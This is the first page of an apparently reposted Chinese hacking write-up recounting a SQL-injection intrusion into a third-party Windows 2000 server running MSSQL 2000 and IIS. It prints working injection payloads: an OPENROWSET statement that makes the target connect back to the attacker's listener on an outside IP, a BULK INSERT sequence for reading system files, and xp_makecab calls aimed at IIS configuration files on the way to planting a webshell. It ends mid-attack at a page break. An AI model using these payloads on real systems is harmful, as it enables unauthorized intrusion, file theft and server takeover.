来源火狐 By NetPatch 2K+MSSQL2000+IIS 对外开放80,1433,3389端口,且此服务器上只放该站一个站点,而且后台密码是写在ASP文件里的(前面猜表时并未找到后台相关的表,于是猜测对方是把密码写在ASP文件里了,进去后肯定了我的猜测)。 网络上公认的危险存储扩展均被删除,且无法恢复。 (后来确认是 odsole70.dll,xplog70.dll,xpstar.dll三个DLL被删除) 这三个DLL的删除,意味着N多的存储扩展用不了了。也就意味着,虽然是SA权限,但你却不能执行命令,不能列目录,不能读改注册表,不能恢复被删除的存储扩展。 OK,大体情况已经说了,难度系数是有D,看我是如何击破这坚固的堡垒的。 虽然对方开放了1433端口,但是这并不代表着WEB和数据库就肯定是在一快的。曾经就碰过这类的机器,虽然开着MSSQL服务,但是却是给别的WEB机器提供的。节省资源,又相对安全。于是我先在本地用NC监听80端口(反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句: ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=111.111.111.111,80;', 'select * from dest_table') select * from src_table;-- 因为我们只要看IP,所以其他的参数就无所谓了。而端口设置成80,是为了预防一些机器只让访问外部80。 没一会,就有机器连过来了,一看IP。嘿嘿,正是目标机器。如图1

于是大胆进行下一步计划——获取WEBSHELL。 要获取WEBSHELL,首先我们得需要路径,如何去获取路径呢?由于许多存储扩展已经不能使用,我们没办法执行命令,列目录,查看注册表等操作。于是,我脑袋里闪过的IDEA就是,读取MetaBase.bin文件!有经验的朋友都知道,此文件乃IIS 5.0的网站配置文档。可怎么读呢? drop table [nspcn] CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL) BULK INSERT [nspcn] FROM 'c:\boot.ini’ WITH (KEEPNULLS) insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1) select * from [nspcn] 上面的代码利用BULK来读取boot.ini文件,本地测试成功读取。 下图是本地测试的抓图 如图2

于是转而读取MetaBase.bin文件,但是当时测试的时候失败了。读取的内容为空。 下图是本地测试的抓图(由于虚拟机只有2K3有装MSSQL,我从2K上COPY了个MetaBase.bin) 如图3

于是我又想到了xp_makecab,xp_unpackcab两个扩展存储,于是用了如下语句: ;exec master..xp_makecab ''C:\WINNT\Help\iisHelp\common\404b.cab ','mszip',1,''C:\WINNT\Help\iisHelp\common\404b.htm' --//备份404b.htm页面 --//由于当时忘了xp_unpackcab有个参数可以解压重命名的,哎,真是大意啊。于是用了下面的烂招 Exec master..xp_makecab ' C:\WINNT\Help\iisHelp\common\404b.htm ','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin' --//结果肯定失败了! 没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4
[1] [2] [3] 下一页 |